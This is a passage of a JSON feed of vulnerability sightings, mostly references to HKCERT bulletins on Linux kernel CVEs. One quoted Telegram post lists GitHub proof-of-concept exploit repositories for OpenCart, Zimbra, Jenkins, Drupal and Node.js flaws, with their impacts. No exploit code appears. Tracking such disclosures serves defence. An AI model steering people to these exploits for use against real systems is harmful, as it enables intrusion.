"86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31555", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T07:15:54.960667Z"}, {"uuid": "a3c1a38f-3eb8-40a8-b0ae-3370340a0c40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31593", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T07:16:01.796261Z"}, {"uuid": "26c23c89-4b6a-4050-aeae-cb1f91a0583c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31665", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T07:16:06.322998Z"}, {"uuid": "7ed07cef-51b0-4db5-9858-cb074de35f7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31674", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T07:16:08.492885Z"}, {"uuid": "17f21288-91cb-44fa-bae5-488f253a1c15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31680", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T07:16:10.650569Z"}, {"uuid": "adb60f39-2907-42b1-915e-03a5850e71d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31693", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T07:16:12.788235Z"}, {"uuid": "2a7e13b9-9630-47bc-8cf4-68ca64e861b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31752", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T07:16:14.946621Z"}, {"uuid": "6788f937-40c7-421f-aa25-675ed0d97367", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31759", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T07:16:17.112971Z"}, {"uuid": "5910c704-5990-4aac-bced-294a6d71a76d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31452", "type": "seen", "source": "https://t.me/CyberSecurityExploit/30370", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, selected to avoid duplicates and outdated entries.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-31452\n\ud83c\udfaf OpenCart \u2013 Arbitrary File Upload \u2192 RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/exploitblizzard/CVE-2026-31452\n\n\ud83e\udde0 Overview\nA vulnerability in OpenCart allows attackers to upload arbitrary files without proper validation, leading to remote code execution on the server.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary file upload\n\u2022 Remote code execution\n\u2022 Full web server compromise\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-30121\n\ud83c\udfaf Zimbra Collaboration \u2013 Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/ry4n-h/CVE-2026-30121\n\n\ud83e\udde0 Overview\nA flaw in Zimbra allows attackers to bypass authentication mechanisms and gain unauthorized access to user accounts.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Account takeover\n\u2022 Email system compromise\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-28711\n\ud83c\udfaf Jenkins \u2013 Script Console Abuse\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/wh0amitz/CVE-2026-28711\n\n\ud83e\udde0 Overview\nA vulnerability in Jenkins enables attackers to execute arbitrary scripts through misconfigured or exposed script console endpoints.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 CI/CD pipeline compromise\n\u2022 Credential exposure\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-27654\n\ud83c\udfaf Drupal Module \u2013 SQL Injection\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/0xM4hmoud/CVE-2026-27654\n\n\ud83e\udde0 Overview\nA SQL injection vulnerability in a Drupal module allows attackers to manipulate database queries and extract sensitive data.\n\n\u2699\ufe0f Impact\n\u2022 Database compromise\n\u2022 Data leakage\n\u2022 Privilege escalation\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-26590\n\ud83c\udfaf Node.js Application \u2013 Prototype Pollution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/s4vitar/CVE-2026-26590\n\n\ud83e\udde0 Overview\nA prototype pollution vulnerability allows attackers to modify application logic by injecting malicious object properties.\n\n\u2699\ufe0f Impact\n\u2022 Application logic manipulation\n\u2022 Potential RCE chain\n\u2022 Security control bypass\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Exploit development\n\u2022 Patch analysis\n\u2022 Vulnerability chain study\n\u2022 Red / Blue Team training\n\n\u26a0\ufe0f Ethical Notice\nThis information is provided for cybersecurity research and defensive purposes only.\nDo not use it for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T11:00:05.028322Z"}, {"uuid": "902c80fe-b2c9-4cef-bf92-a7a17e458303", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31694", "type": "seen", "source": "https://bsky.app/profile/foursignalsdev.bsky.social/post/3mppdt7yp7s2z", "content": "A single out-of-bounds write in the FUSE readdir cache lets unprivileged users escalate to root (CVE-2026-31694). Patch now.", "creation_timestamp": "2026-07-03T01:00:12.769894Z"}, {"uuid": "6937c4f7-75b7-4e3a-a5e3-5b1a7e334a0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/formatocd.bsky.social/post/3mpslyqdjf22y", "content": "A principios de abril de 2026, la comunidad de ciberseguridad se vio sacudida por el descubrimiento de una de las vulnerabilidades m\u00e1s preocupantes de los \u00faltimos a\u00f1os para el ecosistema Linux: el CVE-2026-31431, popularmente bautizado como \"Copy Fail\". formatocd.es/2026/07/04/c...", "creation_timestamp": "2026-07-04T08:04:27.667687Z"}, {"uuid": "fae5917f-ad3f-43e1-bd70-7ced766b5dbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31581", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:50:32.090165Z"}, {"uuid": "acd1ddf3-a356-4112-b214-615a3cbb4fbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31586", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:50:43.082373Z"}, {"uuid": "9e77276c-b113-461a-9326-d770b488f71d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31578", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:50:24.947941Z"}, {"uuid": "b8826681-4681-4d66-b8cc-6b2e4f056f11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31407", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:49:59.108774Z"}, {"uuid": "4854b0c8-39bd-4793-8d3e-cdfefd694059", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31577", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:50:22.662409Z"}, {"uuid": "420bec2f-39bf-4105-bf43-0405762c5777", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31580", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:50:28.113464Z"}, {"uuid": "384cb7e1-5c72-48bf-82f2-62432e8bdf65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31419", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:50:01.451816Z"}, {"uuid": "1502c816-6752-4c6c-a781-e48f62d0241c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31449", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:50:03.822320Z"}, {"uuid": "3f350fe9-f58c-4155-9b68-55144959359b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31488", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:50:06.143758Z"}, {"uuid": "22fcd7bd-e71d-415b-a60d-c3e80e23639e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31489", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:50:09.125900Z"}, {"uuid": "9dfcff6d-fe95-4b80-99b6-ada13a8e60d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31500", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:50:11.462721Z"}, {"uuid": "16be288e-b378-46f1-98df-f95036778f07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31532", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:50:13.860855Z"}, {"uuid": "a01ab397-2fa2-4acc-a45f-4a8e5f0920e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31576", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:50:20.121811Z"}, {"uuid": "ce253bf2-559a-434b-920f-580e7023f0b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31583", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:50:35.035064Z"}, {"uuid": "f57eeea2-1530-4fe0-bb51-8f4a86624538", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31585", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:50:37.704682Z"}, {"uuid": "ad24c960-eabe-42ed-bd42-f6665d19c8e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31587", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:50:45.475472Z"}, {"uuid": "f0041927-6126-4c3d-a768-58034d2f9c72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31588", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:50:49.264068Z"}, {"uuid": "04e1e234-11fc-4c71-a296-fc2f81c234bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31590", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:50:54.373712Z"}, {"uuid": "b89a10d9-d525-4ce9-a0a8-f44cbc09e799", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31594", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:50:56.762423Z"}, {"uuid": "42889f3b-5528-41dd-99e6-877e6557ce6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31595", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:50:59.102728Z"}, {"uuid": "df65130b-6a91-4ebd-979d-05199fca05f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31596", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:51:01.418299Z"}, {"uuid": "e4665554-ad64-47e6-9dba-66458f485738", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31597", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:51:03.982722Z"}, {"uuid": "c3e33c9a-a05c-4613-bd3b-0c4e5ee2a3b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31598", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:51:06.295997Z"}, {"uuid": "c980c143-fdd5-461d-aad5-9e3ecbb358bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31599", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:51:12.493613Z"}, {"uuid": "8657d725-a4d6-4424-b934-e725ec7e4cc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31602", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:51:15.458652Z"}, {"uuid": "20d9adc4-fe37-463e-ba50-45e797e438ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31603", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:51:21.799884Z"}, {"uuid": "8e750460-a57a-4668-9b4f-d6a67d247104", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31605", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:51:24.137780Z"}, {"uuid": "1da16d86-8d31-4389-b881-71e5ac9ea57f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31607", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:51:27.802533Z"}, {"uuid": "52fae34d-57f2-4a1f-8c4d-363060f99eac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31611", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:51:31.258250Z"}, {"uuid": "f61137fd-35f9-429f-93cb-90dc16b6db6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31612", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:51:34.611056Z"}, {"uuid": "85667af2-affe-445e-adda-422f0cc214cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31613", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:51:37.703066Z"}, {"uuid": "4b4d4600-3c68-47ea-8bab-598f7df2efb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31615", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:51:41.062746Z"}, {"uuid": "43f6feeb-e22f-4daa-bbe9-caf1004f96c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31616", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:51:45.134296Z"}, {"uuid": "37850317-4fa1-4fef-b894-5ba1cb457e15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31617", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:51:47.727914Z"}, {"uuid": "f3f851a8-5c96-4630-bd7d-7d2980f5b8f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31618", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:51:50.054947Z"}, {"uuid": "442a43db-adf0-4d6e-aed6-eadbf10ef94f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31619", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:51:52.651985Z"}, {"uuid": "5db1d4a5-2eb9-4016-9587-5d2538ed4769", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31622", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:51:56.374178Z"}, {"uuid": "d91aef23-2059-48d3-9c7d-7d8c99611e55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31676", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:52:42.189697Z"}, {"uuid": "a6e96cf2-7b44-4bbc-8c72-c05cc959a889", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31701", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:53:13.724727Z"}, {"uuid": "574ba557-d8ca-4ab5-ae75-ec2aadf707e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31709", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:53:35.955405Z"}, {"uuid": "026ff92c-b8cb-4ac8-a4ab-a570e546d17c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31712", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:53:40.962587Z"}, {"uuid": "a18c68e9-610c-4eeb-a89d-e302e287f9a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31732", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:53:49.276121Z"}, {"uuid": "92fb8ad8-41e9-4ef2-9b1f-ca302cf295a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31623", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:52:02.012421Z"}, {"uuid": "75dd2fe4-dc33-4c35-810f-6cf77d42782a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31624", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:52:06.622240Z"}, {"uuid": "4b189876-e9a2-4e0f-94e8-af81b23143ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31625", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:52:08.954018Z"}, {"uuid": "058690b0-7064-4c94-882d-b502af08f2df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31626", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:52:11.311056Z"}, {"uuid": "ca05a4c0-acf9-4039-b874-983baad518af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31627", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:52:13.698926Z"}, {"uuid": "3dcd16cf-3a18-4ac1-8efa-e5a337f52c56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31629", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:52:17.961296Z"}, {"uuid": "6c0697df-e8c6-421b-aeaa-db2e879bfdae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31642", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:52:28.361459Z"}, {"uuid": "6fea143f-dbde-423b-bc7b-e311336f9e48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31657", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:52:33.124361Z"}, {"uuid": "280b6161-a235-4dfa-961c-61012ff00fa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 